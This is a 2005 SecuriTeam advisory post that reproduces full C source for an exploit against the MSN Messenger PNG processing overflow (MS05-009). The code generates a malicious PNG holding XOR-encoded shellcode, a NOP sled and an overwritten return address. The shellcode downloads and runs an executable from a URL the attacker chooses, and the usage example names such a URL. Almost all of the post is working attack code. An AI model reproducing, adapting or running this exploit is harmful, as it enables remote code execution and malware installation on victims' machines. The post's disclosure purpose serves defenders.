[EXPL] MSN Messenger PNG Image Buffer Overflow Download Shellcoded Exploit

From: SecuriTeam (support_at_securiteam.com)
Date: 02/13/05

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Date: 13 Feb 2005 12:06:07 +0200

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      MSN Messenger PNG Image Buffer Overflow Download Shellcoded Exploit
    ------------------------------------------------------------------------

    SUMMARY

    Presented here is an exploit code that generates a .PNF file that exploits
    a vulnerability in the handling of .PNG files in Microsoft Windows. For
    more information regarding the vulnerability see:
    <http://www.securiteam.com/windowsntfocus/5PP012KEUO.html> Vulnerability
    in PNG Processing Allows Remote Code Execution (MS05-009)

    DETAILS

    /*
    *
    * MSN Messenger PNG Image Buffer Overflow Download Shellcoded Exploit
    * Bug discoveried by Core Security Technologies (www.coresecurity.com)
    * Exploit coded By ATmaCA
    * Copyright ??2002-2005 AtmacaSoft Inc. All Rights Reserved.
    * Web: http://www.atmacasoft.com
    * E-Mail: atmaca at icqmail
    * Credit to kozan and delikon
    * Usage:exploit <OutputPath> <Url>
    *
    */

    /*
    *
    * Tested with MSN Messenger 6.2.0137
    * This vulnerability can be exploited on Windows 2000 (all service packs)
    * and Windows XP (all service packs) that run vulnerable
    * clients of MSN Messenger.
    *
    */

    /*
    *
    * After creating vuln png image, open
    * MSN Messenger and select it as your display picture in
    * "Tools->Change Display Picture".
    *
    */

    #include <stdio.h>
    #include <stdlib.h>
    #include <conio.h>
    #include <string.h>

    #ifdef __BORLANDC__
            #include <mem.h>
    #endif

    #define NOP 0x90

    char png_header[] =
    "\x89\x50\x4E\x47\x0D\x0A\x1A\x0A\x00\x00\x00\x0D\x49\x48\x44\x52"
    "\x00\x00\x00\x40\x00\x00\x00\x40\x08\x03\x00\x00\x00\x9D\xB7\x81"
    "\xEC\x00\x00\x01\xB9\x74\x52\x4E\x53";

    char pngeof[] = "\x90\x90\x90\x59\xE8\x47\xFE\xFF\xFF";

    /* Generic win32 http download shellcode
       xored with 0x1d by delikon (http://delikon.de/) */
    char shellcode[] = "\xEB"
    "\x10\x58\x31\xC9\x66\x81\xE9\x22\xFF\x80\x30\x1D\x40\xE2\xFA\xEB\x05\xE8\xEB\xFF"
    "\xFF\xFF\xF4\xD1\x1D\x1D\x1D\x42\xF5\x4B\x1D\x1D\x1D\x94\xDE\x4D\x75\x93\x53\x13"
    "\xF1\xF5\x7D\x1D\x1D\x1D\x2C\xD4\x7B\xA4\x72\x73\x4C\x75\x68\x6F\x71\x70\x49\xE2"
    "\xCD\x4D\x75\x2B\x07\x32\x6D\xF5\x5B\x1D\x1D\x1D\x2C\xD4\x4C\x4C\x90\x2A\x4B\x90"
    "\x6A\x15\x4B\x4C\xE2\xCD\x4E\x75\x85\xE3\x97\x13\xF5\x30\x1D\x1D\x1D\x4C\x4A\xE2"
    "\xCD\x2C\xD4\x54\xFF\xE3\x4E\x75\x63\xC5\xFF\x6E\xF5\x04\x1D\x1D\x1D\xE2\xCD\x48"
    "\x4B\x79\xBC\x2D\x1D\x1D\x1D\x96\x5D\x11\x96\x6D\x01\xB0\x96\x75\x15\x94\xF5\x43"
    "\x40\xDE\x4E\x48\x4B\x4A\x96\x71\x39\x05\x96\x58\x21\x96\x49\x18\x65\x1C\xF7\x96"
    "\x57\x05\x96\x47\x3D\x1C\xF6\xFE\x28\x54\x96\x29\x96\x1C\xF3\x2C\xE2\xE1\x2C\xDD"
    "\xB1\x25\xFD\x69\x1A\xDC\xD2\x10\x1C\xDA\xF6\xEF\x26\x61\x39\x09\x68\xFC\x96\x47"
    "\x39\x1C\xF6\x7B\x96\x11\x56\x96\x47\x01\x1C\xF6\x96\x19\x96\x1C\xF5\xF4\x1F\x1D"
    "\x1D\x1D\x2C\xDD\x94\xF7\x42\x43\x40\x46\xDE\xF5\x32\xE2\xE2\xE2\x70\x75\x75\x33"
    "\x78\x65\x78\x1D";

    FILE *di;
    int i = 0;
    short int weblength;
    char *web;
    char *pointer = NULL;
    char *newshellcode;

    /*xor cryptor*/
    char *Sifrele(char *Name1)
    {
            char *Name=Name1;
            char xor=0x1d;
            int Size=strlen(Name);
            for(i=0;i<Size;i++)
                    Name[i]=Name[i]^xor;
            return Name;
    }

    void main(int argc, char *argv[])
    {

            if (argc < 3)
            {
                    printf("MSN Messenger PNG Image Buffer Overflow Download
    Shellcoded Exploit\n");
                    printf("Bug discoveried by Core Security Technologies
    (www.coresecurity.com)\n");
                    printf("Exploit coded By ATmaCA\n");
                    printf("Copyright ??2002-2005 AtmacaSoft Inc. All Rights
    Reserved.\n");
                    printf("Web: http://www.atmacasoft.com\n");
                    printf("E-Mail: atmaca@icqmail.com\n");
                    printf("Credit to kozan and delikon\n\n");
                    printf("\tUsage:exploit <OutputPath> <Url>\n");
                    printf("\tExample:exploit vuln.png
    http://www.atmacasoft.com/exp/msg.exe\n");

                    return;
            }

            web = argv[2];

            if( (di=fopen(argv[1],"wb")) == NULL )
            {
                    printf("Error opening file!\n");
                    return;
            }
            for(i=0;i<sizeof(png_header)-1;i++)
                    fputc(png_header[i],di);

            /*stuff in a couple of NOPs*/
            for(i=0;i<99;i++)
                    fputc(NOP,di);

            weblength=(short int)0xff22;
            pointer=strstr(shellcode,"\x22\xff");
            weblength-=strlen(web)+1;
            memcpy(pointer,&weblength,2);
            newshellcode = malloc((sizeof(shellcode)+strlen(web)+1)); //Note
    by Andrew Hunter (andiroohunter at msn)
            strcpy(newshellcode,shellcode);
            strcat(newshellcode,Sifrele(web));
            strcat(newshellcode,"\x1d");

            //shell code
            for(i=0;i<strlen(newshellcode);i++)
                    fputc(newshellcode[i],di);

            for(i=0;i<(83-strlen(web));i++) //NOPs
                    fputc(NOP,di);

            /*Overwriting the return address (EIP)*/
            /*0x005E0547 - ret */
            fputc(0x47,di);
            fputc(0x05,di);
            fputc(0x5e,di);
            fputc(0x00,di);

            for(i=0;i<sizeof(pngeof)-1;i++)
                    fputc(pngeof[i],di);

            printf("Vulnarable png file %s has been generated!\n",argv[1]);

            fclose(di);
    }

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:atmaca@icqmail.com> ATmaCA.

    ========================================

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